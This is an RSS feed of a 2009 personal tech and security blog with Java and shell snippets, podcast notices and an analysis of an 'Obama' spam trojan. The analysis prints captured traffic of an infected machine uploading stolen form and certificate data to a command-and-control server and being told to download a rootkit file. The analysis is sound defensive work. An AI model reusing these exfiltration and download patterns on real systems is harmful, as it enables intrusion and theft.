<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>tech.archondan.com</title>
	<atom:link href="http://tech.archondan.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://tech.archondan.com</link>
	<description>An exploration of scripts, code and security</description>
	<lastBuildDate>Wed, 11 Nov 2009 19:29:16 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Simple Java File Read/Write Example</title>
		<link>http://tech.archondan.com/?p=123</link>
		<comments>http://tech.archondan.com/?p=123#comments</comments>
		<pubDate>Fri, 29 May 2009 20:13:10 +0000</pubDate>
		<dc:creator>Archondan</dc:creator>
				<category><![CDATA[UNIX]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[File Read/Write]]></category>
		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://tech.archondan.com/?p=123</guid>
		<description><![CDATA[Here is a simple example of a Java class that will read/write a file byte by byte
/*
/*
 * To change this template, choose Tools &#124; Templates
 * and open the template in the editor.
 */
package filereader;
&#160;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
&#160;
/**
 *
 * @author dphegarty
 */
public class Main &#123;
&#160;
    /**
 [...]]]></description>
			<content:encoded><![CDATA[<p>Here is a simple example of a Java class that will read/write a file byte by byte</p>
<pre class="java"><span style="color: #808080; font-style: italic;">/*
/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */</span>
<span style="color: #000000; font-weight: bold;">package</span> filereader;
&nbsp;
<span style="color: #a1a100;">import java.io.ByteArrayInputStream;</span>
<span style="color: #a1a100;">import java.io.ByteArrayOutputStream;</span>
<span style="color: #a1a100;">import java.io.DataInputStream;</span>
<span style="color: #a1a100;">import java.io.DataOutputStream;</span>
<span style="color: #a1a100;">import java.io.File;</span>
<span style="color: #a1a100;">import java.io.FileInputStream;</span>
<span style="color: #a1a100;">import java.io.FileOutputStream;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/**
 *
 * @author dphegarty
 */</span>
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Main <span style="color: #66cc66;">&#123;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;">/**
     * @param args the command line arguments
     */</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #993333;">void</span> main<span style="color: #66cc66;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AString+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">String</span></a><span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span> args<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
        Main m = <span style="color: #000000; font-weight: bold;">new</span> Main<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
        m.<span style="color: #006600;">writeFile</span><span style="color: #66cc66;">&#40;</span>m.<span style="color: #006600;">readFile</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #993333;">void</span> writeFile<span style="color: #66cc66;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AByteArrayOutputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">ByteArrayOutputStream</span></a> content<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
        <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AFile+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">File</span></a> file = <span style="color: #000000; font-weight: bold;">null</span>;
        <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AFileOutputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">FileOutputStream</span></a> fis = <span style="color: #000000; font-weight: bold;">null</span>;
        <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3ADataOutputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">DataOutputStream</span></a> dis = <span style="color: #000000; font-weight: bold;">null</span>;
        <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AByteArrayInputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">ByteArrayInputStream</span></a> inContent = <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AByteArrayInputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">ByteArrayInputStream</span></a><span style="color: #66cc66;">&#40;</span>content.<span style="color: #006600;">toByteArray</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
        <span style="color: #000000; font-weight: bold;">try</span> <span style="color: #66cc66;">&#123;</span>
            file = <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AFile+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">File</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;/Users/JSmith/About Stacks.pdf&quot;</span><span style="color: #66cc66;">&#41;</span>;
            file.<span style="color: #006600;">createNewFile</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
            fis = <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AFileOutputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">FileOutputStream</span></a><span style="color: #66cc66;">&#40;</span>file<span style="color: #66cc66;">&#41;</span>;
            dis = <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3ADataOutputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">DataOutputStream</span></a><span style="color: #66cc66;">&#40;</span>fis<span style="color: #66cc66;">&#41;</span>;
            <span style="color: #b1b100;">while</span> <span style="color: #66cc66;">&#40;</span>inContent.<span style="color: #006600;">available</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> != <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
                dis.<span style="color: #006600;">write</span><span style="color: #66cc66;">&#40;</span>inContent.<span style="color: #006600;">read</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #66cc66;">&#125;</span>
            dis.<span style="color: #006600;">flush</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
            dis.<span style="color: #006600;">close</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
            inContent.<span style="color: #006600;">close</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #66cc66;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #66cc66;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AException+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">Exception</span></a> ex<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
&nbsp;
        <span style="color: #66cc66;">&#125;</span>
    <span style="color: #66cc66;">&#125;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">public</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AByteArrayOutputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">ByteArrayOutputStream</span></a> readFile<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
        <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AFile+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">File</span></a> file = <span style="color: #000000; font-weight: bold;">null</span>;
        <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AFileInputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">FileInputStream</span></a> fis = <span style="color: #000000; font-weight: bold;">null</span>;
        <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3ADataInputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">DataInputStream</span></a> dis = <span style="color: #000000; font-weight: bold;">null</span>;
        <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AByteArrayOutputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">ByteArrayOutputStream</span></a> content = <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AByteArrayOutputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">ByteArrayOutputStream</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
        <span style="color: #000000; font-weight: bold;">try</span> <span style="color: #66cc66;">&#123;</span>
            file = <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AFile+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">File</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;/Users/JSmith/Documents/About Stacks.pdf&quot;</span><span style="color: #66cc66;">&#41;</span>;
            fis = <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AFileInputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">FileInputStream</span></a><span style="color: #66cc66;">&#40;</span>file<span style="color: #66cc66;">&#41;</span>;
            dis = <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3ADataInputStream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">DataInputStream</span></a><span style="color: #66cc66;">&#40;</span>fis<span style="color: #66cc66;">&#41;</span>;
            <span style="color: #b1b100;">while</span> <span style="color: #66cc66;">&#40;</span>dis.<span style="color: #006600;">available</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> != <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
                content.<span style="color: #006600;">write</span><span style="color: #66cc66;">&#40;</span>dis.<span style="color: #006600;">read</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #66cc66;">&#125;</span>
            dis.<span style="color: #006600;">close</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
            fis.<span style="color: #006600;">close</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #66cc66;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #66cc66;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3AException+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">Exception</span></a> ex<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
        <span style="color: #66cc66;">&#125;</span>
        <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3ASystem+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #aaaadd; font-weight: bold;">System</span></a>.<span style="color: #006600;">out</span>.<span style="color: #006600;">println</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;Size: &quot;</span> + content.<span style="color: #006600;">size</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> + <span style="color: #ff0000;">&quot; File: &quot;</span> + file.<span style="color: #006600;">length</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #000000; font-weight: bold;">return</span> content;
    <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;</pre>
]]></content:encoded>
			<wfw:commentRss>http://tech.archondan.com/?feed=rss2&amp;p=123</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows admin from Linux</title>
		<link>http://tech.archondan.com/?p=119</link>
		<comments>http://tech.archondan.com/?p=119#comments</comments>
		<pubDate>Wed, 21 Jan 2009 19:37:29 +0000</pubDate>
		<dc:creator>Archondan</dc:creator>
				<category><![CDATA[Scripts]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[UNIX]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Admin]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Winexe]]></category>
		<category><![CDATA[wmi-client]]></category>

		<guid isPermaLink="false">http://tech.archondan.com/?p=119</guid>
		<description><![CDATA[I work in a Windows environment, but run Ubuntu on my desktop. I am always on the look out for Linux utilities that replace the Windows bound ones. So far I've found a replacement for just about everything I need execpt PSExec, but today that is no more.


sudo apt-get install wmi-client


This handy package installs winexe [...]]]></description>
			<content:encoded><![CDATA[<p>I work in a Windows environment, but run Ubuntu on my desktop. I am always on the look out for Linux utilities that replace the Windows bound ones. So far I've found a replacement for just about everything I need execpt PSExec, but today that is no more.<br />
<br></p>
<pre lang=bash>
sudo apt-get install wmi-client
</pre>
<p><br><br />
This handy package installs <b>winexe</b> and <b>wmic</b> on Ubuntu. <b>Winexe</b> is basically <b>PSExec.exe</b> for Linux. </p>
<p>Ah the beauty! </p>
]]></content:encoded>
			<wfw:commentRss>http://tech.archondan.com/?feed=rss2&amp;p=119</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creating a list of installed Packages on Ubuntu</title>
		<link>http://tech.archondan.com/?p=115</link>
		<comments>http://tech.archondan.com/?p=115#comments</comments>
		<pubDate>Thu, 15 Jan 2009 15:28:37 +0000</pubDate>
		<dc:creator>Archondan</dc:creator>
				<category><![CDATA[Shell]]></category>
		<category><![CDATA[UNIX]]></category>
		<category><![CDATA[Backup]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://tech.archondan.com/?p=115</guid>
		<description><![CDATA[Here is a handy tip I came across for creating a list of installed packages on Ubuntu.
&#160;
dpkg --get-selections &#62; installed-software
&#160;

The original thread can be found here: Orginal
]]></description>
			<content:encoded><![CDATA[<p>Here is a handy tip I came across for creating a list of installed packages on Ubuntu.</p>
<pre class="bash">&nbsp;
dpkg --get-selections &gt; installed-software
&nbsp;</pre>
<p><br><br />
The original thread can be found here: <a href="http://ubuntuforums.org/showthread.php?t=261366">Orginal</a></p>
]]></content:encoded>
			<wfw:commentRss>http://tech.archondan.com/?feed=rss2&amp;p=115</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dec ILTA PodCast</title>
		<link>http://tech.archondan.com/?p=106</link>
		<comments>http://tech.archondan.com/?p=106#comments</comments>
		<pubDate>Tue, 16 Dec 2008 18:42:30 +0000</pubDate>
		<dc:creator>Archondan</dc:creator>
				<category><![CDATA[Patches]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Podcast]]></category>

		<guid isPermaLink="false">http://tech.archondan.com/?p=106</guid>
		<description><![CDATA[The December ILTA PodCast covering the monthly Microsoft patch is out!
http://www.iltanet.org/communications/transcript_detail.aspx?nvID=000000011405&#38;h4ID=000001426705
Dave and I are looking for feedback so please let us know. Even if it's a simple, "You suck." At least than we know someone is listen and that we need to improve.
]]></description>
			<content:encoded><![CDATA[<p>The December ILTA PodCast covering the monthly Microsoft patch is out!</p>
<p><a href="http://www.iltanet.org/communications/transcript_detail.aspx?nvID=000000011405&amp;h4ID=000001426705">http://www.iltanet.org/communications/transcript_detail.aspx?nvID=000000011405&amp;h4ID=000001426705</a></p>
<p>Dave and I are looking for feedback so please let us know. Even if it's a simple, "You suck." At least than we know someone is listen and that we need to improve.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.archondan.com/?feed=rss2&amp;p=106</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nov ILTA Podcast</title>
		<link>http://tech.archondan.com/?p=100</link>
		<comments>http://tech.archondan.com/?p=100#comments</comments>
		<pubDate>Fri, 14 Nov 2008 17:20:29 +0000</pubDate>
		<dc:creator>Archondan</dc:creator>
				<category><![CDATA[Patches]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Podcast]]></category>

		<guid isPermaLink="false">http://tech.archondan.com/?p=100</guid>
		<description><![CDATA[The November monthly podcast hosted by my self, Dan Hegarty, and Dave Beck in which we cover the two patches released by Microsoft is out. It can be retrieved from:
http://www.iltanet.org/communications/transcript_detail.aspx?nvID=000000011405&#38;h4ID=000001387805
Since there were only two patches this month we were able to use more of a discussion format for this podcast. I feel we are getting [...]]]></description>
			<content:encoded><![CDATA[<p>The November monthly podcast hosted by my self, Dan Hegarty, and <a href="http://security.dpbeck.com">Dave Beck</a> in which we cover the two patches released by Microsoft is out. It can be retrieved from:</p>
<p><a href="http://www.iltanet.org/communications/transcript_detail.aspx?nvID=000000011405&amp;h4ID=000001387805">http://www.iltanet.org/communications/transcript_detail.aspx?nvID=000000011405&amp;h4ID=000001387805</a></p>
<p>Since there were only two patches this month we were able to use more of a discussion format for this podcast. I feel we are getting better and more "at home" with doing these podcasts, but other may have a different opinions <img src='http://tech.archondan.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Take a listen and feel free to give any feed back.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.archondan.com/?feed=rss2&amp;p=100</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quick Analysis of the Obama Trojan</title>
		<link>http://tech.archondan.com/?p=69</link>
		<comments>http://tech.archondan.com/?p=69#comments</comments>
		<pubDate>Thu, 06 Nov 2008 16:20:22 +0000</pubDate>
		<dc:creator>Archondan</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Analysis]]></category>
		<category><![CDATA[Botnet]]></category>
		<category><![CDATA[Obama]]></category>
		<category><![CDATA[Trojan]]></category>
		<category><![CDATA[Walware]]></category>

		<guid isPermaLink="false">http://tech.archondan.com/?p=69</guid>
		<description><![CDATA[Yesterday, the 5th of November, we started receiving spam that advertised Obama Election videos. These emails are rather plain and only contain simple text and a link.
Email Contents:
Barack Obama Elected 44th President of United States
Barack Obama, unknown to most Americans just four years ago, will become the 44th president and
the first African-American president of the [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday, the 5th of November, we started receiving spam that advertised Obama Election videos. These emails are rather plain and only contain simple text and a link.</p>
<p><strong>Email Contents:</strong></p>
<pre>Barack Obama Elected 44th President of United States
Barack Obama, unknown to most Americans just four years ago, will become the 44th president and
the first African-American president of the United States.
Watch His amazing speech at November 5!

A link to http://{removed}"&gt;Proceed to the election results news page

2008 American Government Official Website

This site delivers information about current U.S. Foreign policy and about American life and culture.</pre>
<p>The URL domains are randomly generated and hosted from slaves with in the Bot network. As of today these URLs do resolve or host blank pages. We also noted that the 2 domains were registered on November 4th and originated in China, a before we started receiving the spam messages.</p>
<pre>verifyonenet.exacttrget.sessionervlet.1otmvxgjb.securitychallenge.communitypage.rn1mnqinq.bfiinwach.com
 - <strong>Domain no longer resolvable</strong>

carehtmlclient.viewcontent.productsremote.3xnhnoe9x.customerlogin.verification.wqvnskxwk.gerimumsoe.com
 - <strong>Domain no longer resolvable</strong></pre>
<p>When the user visits the site, it will prompt the user to download and install adobe_flash9.exe every 11 second. This download prompt is accomplished through the use of the Refresh Meta tag. It is not a JavaScript.</p>
<p>Once the download is complete, Windows prompts the user to run the executable. When the executable is run it deletes the adobe_flash6.exe and creates a running process named 9129837.exe based in C:\Windows. The name of this new program is constant across all the different test machines we ran it on as well as on the live machines of people who executed it.</p>
<p>In our case the 9129837.exe tried to injected code into the running user process Explorer.exe. This is standard behavior so the malware becomes invisible in the task manager. On XP the Security Center was disable, firewall turned off and the we were unable to bring up the task manager. The 9129837.exe also connected to what appears to be a command and control site for instructions and to upload key information. One of the first instructions was to down load part of a root kit del.exe from a separate domain.</p>
<p>Here are the http communications between the infect machine and C&amp;C. On each host the order of requests was not the same, only the request to the pstore.cgi was 1st.</p>
<pre>Server: 91.203.93.57

Query the RIPE Database
Search for
Switch to the RIPE TEST Database

% This is the RIPE Whois query server #2.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/db/copyright.html

% Note: This output has been filtered.
%       To receive output for a database update, use the "-B" flag

% Information related to '91.203.93.1 - 91.203.93.128'

inetnum:         91.203.93.1 - 91.203.93.128
netname:         ZHITOMIR-NET
descr:           pool for co-location customers
country:         UA
admin-c:         ML7676-RIPE
tech-c:          ML7676-RIPE
status:          ASSIGNED PI "status:" definitions
mnt-by:          UATELECOM-MNT
source:          RIPE # Filtered

person:          Mark Liberman
address:         Kiev, Ukraine
e-mail:          m.liberman@uatelecom.com.ua
phone:           +380963801326
nic-hdl:         ML7676-RIPE
source:          RIPE # Filtered

% Information related to '91.203.92.0/22AS44997'

route:           91.203.92.0/22
descr:           BTG-AS
origin:          AS44997
mnt-by:          UATELECOM-MNT
remarks:         responsible: abuse@uatelecom.com.ua
source:          RIPE # Filtered
</pre>
<p><strong>Request and Response 1</strong></p>
<pre>POST /cgi-bin/pstore.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------13c89313c89313c893
User-Agent: IE
Host: 91.203.93.57
Content-Length: 229
Cache-Control: no-cache

----------------------------13c89313c89313c893
Content-Disposition: form-data; name="upload_file"; filename="160856006.5"
Content-Type: application/octet-stream

Forms: 

----------------------------13c89313c89313c893--
HTTP/1.1 200 OK
Connection: close
Content-type: text/html
Content-Length: 3
Date: Wed, 05 Nov 2008 18:38:31 GMT
Server: lighttpd/1.4.20

ok!</pre>
<p><strong>Request and response 2</strong></p>
<pre>GET /cgi-bin/options.cgi?user_id=160856006&amp;version_id=5&amp;p... HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 91.203.93.57
Connection: Keep-Alive

HTTP/1.1 200 OK
Connection: close
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-type: octet/stream
Content-Length: 14
Date: Wed, 05 Nov 2008 18:38:32 GMT

Server: lighttpd/1.4.20

(...........e0</pre>
<p><strong>Request and Response 3</strong></p>
<pre>GET /cgi-bin/cmd.cgi?user_id=160856006&amp;version_id=5&amp;p... HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 91.203.93.57
Connection: Keep-Alive

HTTP/1.1 200 OK
Connection: close
Pragma: no-cache
Last-Modified: Wed, 5 Nov 2008 18:38:31 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-type: text/plain
Content-Length: 35
Date: Wed, 05 Nov 2008 18:38:31 GMT
Server: lighttpd/1.4.20

DL_EXE=http://solecokes.com/del.exe</pre>
<p><strong>Request and Response 4</strong></p>
<pre>POST /cgi-bin/cert.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------13cc7b13cc7b13cc7b
User-Agent: IE
Host: 91.203.93.57
Content-Length: 303
Cache-Control: no-cache

----------------------------13cc7b13cc7b13cc7b
Content-Disposition: form-data; name="upload_file"; filename="160856006.5"
Content-Type: application/octet-stream

0S...0...*.H..
.......0.0;0.0...+........5......&amp;u8.I.&gt;../z...w..=C..C.&gt;l."..`p......
----------------------------13cc7b13cc7b13cc7b--
HTTP/1.1 200 OK
Connection: close
Content-type: text/html
Content-Length: 3
Date: Wed, 05 Nov 2008 18:38:32 GMT
Server: lighttpd/1.4.20

ok!</pre>
<p>The target machine now contacts solecokes.com as directed to download part of the rootkit as defined by the DL_EXE reponse</p>
<pre>GET /del.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: solecokes.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Wed, 05 Nov 2008 18:38:25 GMT
Server: Apache
Last-Modified: Mon, 03 Nov 2008 21:06:19 GMT
ETag: "400099-6000-518148c0"
Accept-Ranges: bytes
Content-Length: 24576
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream

{Binary data remote}</pre>
<p>As of this morning at 06:00 the solecokes.com resolves to several different IP address:</p>
<pre>Non-authoritative answer:
Name:	solecokes.com
Address: 190.95.28.108
Name:	solecokes.com
Address: 221.213.78.6
Name:	solecokes.com
Address: 81.247.61.210
Name:	solecokes.com
Address: 82.83.199.100
Name:	solecokes.com
Address: 121.113.166.191</pre>
<p>Yesterday, 11/5, at 12:42 the same domain resolved to:</p>
<pre>Non-authoritative answer:
Name:	solecokes.com
Address: 89.102.187.216
Name:	solecokes.com
Address: 90.183.68.7
Name:	solecokes.com
Address: 81.242.197.189
Name:	solecokes.com
Address: 87.207.9.23</pre>
<p>It is pretty obvious that the solecokes.com domain is part of a dynamic DNS scheme. I would not doubt that these IP resolve to bot hosts.</p>
<p>A DNS lookup on 87.207.9.23 reveals:</p>
<pre>Non-authoritative answer:
23.9.207.87.in-addr.arpa	name = chello087207009023.chello.pl.</pre>
<p>and DNS lookup on 81.242.197.189 pretty much seals the deal that these are just bots hosting temporary malware sites.</p>
<pre>Non-authoritative answer:
189.197.242.81.in-addr.arpa	name = 189.197-242-81.adsl-dyn.isp.belgacom.be.</pre>
<p>A little digging around the  root of this site displays a Wachovia error page. As it turns out this site was used as a malicious site to trick Wachovia users during the buy out by Wells Fargo. The bot network admins realized the opportunity present with the election of Mr. Obama and quickly retooled the site to accommodate that. This highlights how fast the malware sites and bot net admins can quickly change gears to make use of opportunities as they present them selves.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.archondan.com/?feed=rss2&amp;p=69</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Script to Convert Hostname to IP</title>
		<link>http://tech.archondan.com/?p=42</link>
		<comments>http://tech.archondan.com/?p=42#comments</comments>
		<pubDate>Wed, 29 Oct 2008 01:44:07 +0000</pubDate>
		<dc:creator>Archondan</dc:creator>
				<category><![CDATA[Scripts]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[UNIX]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://tech.archondan.com/?p=42</guid>
		<description><![CDATA[Here is a shell script I wrote to translate NetBOIS names to IP addresses. SAMBA needs to be install for the nmblookup command. I work mostly on Linux / OS X but we are a Windows shop so I wrote this shell script to help convert hostnames to IP address for windows machines. Not every [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://tech.archondan.com/wp-content/uploads/2008/10/linux.jpeg"><img class="size-medium wp-image-43 alignright" title="linux" src="http://tech.archondan.com/wp-content/uploads/2008/10/linux.jpeg" alt="" width="113" height="129" /></a>Here is a shell script I wrote to translate NetBOIS names to IP addresses. <a title="Samba.org" href="http://www.samba.org" target="_self">SAMBA</a> needs to be install for the nmblookup command. I work mostly on Linux / OS X but we are a Windows shop so I wrote this shell script to help convert hostnames to IP address for windows machines. Not every host is in WINS or DNS so this scripts combines the 2 queries.</p>
<p><strong>Input file syntax</strong>:</p>
<pre>Host1
Host2
Host3</pre>
<p><strong>Script</strong>:</p>
<pre class="bash"><span style="color: #808080; font-style: italic;">#!/bin/bash</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Convert Windows NetBOIS Hostname to IP</span>
<span style="color: #808080; font-style: italic;"># First tries WINS and <span style="color: #000000; font-weight: bold;">if</span> that fails it tries DNS</span>
<span style="color: #808080; font-style: italic;">#</span>
